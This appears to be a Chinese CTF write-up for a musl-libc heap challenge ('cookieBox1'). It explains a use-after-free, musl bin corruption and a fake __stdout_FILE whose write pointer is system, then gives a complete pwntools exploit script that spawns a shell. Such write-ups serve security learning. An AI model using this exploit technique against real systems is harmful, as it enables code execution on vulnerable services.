RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

有 UAF 漏洞:

1
2
3
4
5
6
if ( index <= 0xF && chunk_list[index] )
{
free(chunk_list[index]);
size_list[index] = 0;
puts("Done");
}
  • 可以对同一个 chunk 释放多次

入侵思路

先搭建调试环境:

1
2
3
4
5
tar -xzvf musl-1.1.24.tar.gz
cd musl-1.1.24
sudo su
./configure --prefix=/usr/local/musl CFLAGS='-O2 -v -g' --enable-debug=yes
make && make install
  • 设置 -g 方便查看程序在哪里报错

打印 mal 结构体即可查看详细信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> p mal
$1 = {
binmap = 343597383680,
bins = {{
lock = {0, 0},
head = 0x0,
tail = 0x0
} <repeats 36 times>, {
lock = {0, 0},
head = 0x7fe5b69c0710,
tail = 0x7fe5b69c0710
}, {
lock = {0, 0},
head = 0x7fe5b69bde38 <mal+888>,
tail = 0x7fe5b69bde38 <mal+888>
}, {
lock = {0, 0},
head = 0x6021f0,
tail = 0x6021f0
}, {
lock = {0, 0},
head = 0x0,
tail = 0x0
} <repeats 25 times>},
free_lock = {0, 0}
}

一般对于 musl-1.1.x 的入侵手段就是 FSOP,先利用 UAF 申请到 __stdout_FILE

最开始我的思路是劫持 bins,但试了好几次发现自己伪造的 chunk 会触发段错误:

1
2
3
  0x7f4cc63a2674 <malloc+820>    mov    qword ptr [rdx + 0x10], rax
0x7f4cc63a2678 <malloc+824> mov qword ptr [rax + 0x18], rdx <mal+72>
0x7f4cc63a267c <malloc+828> mov rax, qword ptr [r8 + 8]

对应的源码如下:

1
2
3
4
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
  • 调试发现 c 就是我们伪造 chunk 的地址,而后续的 unlink 操作极有可能发送段错误
  • 即使尝试用 __stdout_FILE && __stdin_FILE 上的可写地址来绕过,最后也会因为 puts 异常而发生段错误

最后想到可以先利用 unbin 往 __stdout_FILE 中写一个合法地址,然后在基于这个地址伪造 fake chunk

1
2
3
lock = {0, 0},
head = 0x7f3056ddc3b0,
tail = 0x7f3056ddc530
1
2
3
4
5
pwndbg> telescope 0x7f3056ddc3b0
00:00000x7f3056ddc3b0 ◂— 0x1
01:00080x7f3056ddc3b8 ◂— 0x80
02:00100x7f3056ddc3c0 —▸ 0x7f3056ddc3b0 ◂— 0x1
03:00180x7f3056ddc3c8 —▸ 0x7f3056dd92e0 (__stdin_FILE+224) ◂— 0x0
  • chunk->bk 中写 __stdout_FILE-0x20,就可以往 __stdout_FILE-0x10 中写一个堆地址

围绕这个堆地址写入 fake chunk 就可以成功申请到 __stdout_FILE,然后写入 fake stdout 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './cookieBox1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('','9999')

def debug():
gdb.attach(p,"b* 0x0400A7D\n")
#gdb.attach(p,"b *$rebase(0x92E)\n")
pause()

def cmd(op):
sla(">>",str(op))

def add(size,data):
cmd(1)
sla("size",str(size))
sa("Content",data)

def dele(index):
cmd(2)
sla("idx",str(index))

def edit(index,data):
cmd(3)
sla("idx",str(index))
sa("content",data)

def show(index):
cmd(4)
sla("idx:\n",str(index))

add(0x70,"/bin/sh\x00")
add(0x70,"a"*0x10)
add(0x70,"a")
add(0x70,"a"*0x10)
add(0x70,"a"*0x10)
add(0x70,"a"*0x10)

show(2)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x292e61
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
stdin_libc = libc_base + libc.sym["__stdin_FILE"]
stdout_libc = libc_base + libc.sym["__stdout_FILE"]
stdout_close = libc_base + libc.sym["__stdio_close"]
mal_libc = libc_base + libc.sym["mal"]
success("stdin_libc >> "+hex(stdin_libc))
success("stdout_libc >> "+hex(stdout_libc))

dele(1)
dele(4)

add(0x70,"1"*0x10)
add(0x70,"2"*0x10)
dele(1)
dele(4)

edit(6,p64(libc_base+0x2953b0)+p64(stdout_libc-0x20))
add(0x70,"1"*0x10)

dele(1)
edit(6,p64(stdout_libc-0x20)+p64(mal_libc+72))
add(0x70,p64(stdout_libc-0x20)+p64(mal_libc+72))
#debug()

fake_stdout_file = flat({
0: '/bin/sh\x00',
0x20: 1, # f->wpos
0x28: 1, # f->wend
0x30: system_libc,
0x38: 0,
0x48: system_libc # f->write
})

payload = "1"*28+"\x00"*0x10+fake_stdout_file
cmd(1)
sla("size",str(0x70))
ru(":")
p.send(payload)

p.interactive()